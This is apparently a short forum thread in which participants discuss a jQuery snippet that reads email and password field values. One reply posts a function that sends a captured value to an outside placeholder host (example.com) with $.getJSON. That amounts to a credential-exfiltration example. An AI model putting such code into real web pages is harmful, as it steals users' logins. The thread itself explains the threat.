[JohnQPasserby]

why would the attacker setting the password field be a problem

[nitrogen]

That looks like it retrieves the value of any element with the class name of .email and any password input (i.e. harvesting e-mail addresses and passwords).

http://api.jquery.com/val/#val2

[jQueryIsAwesome]

    function send_to_database(val){
        $.getJSON('http://example.com/data.json',{data: val},function(){})
        return val
    }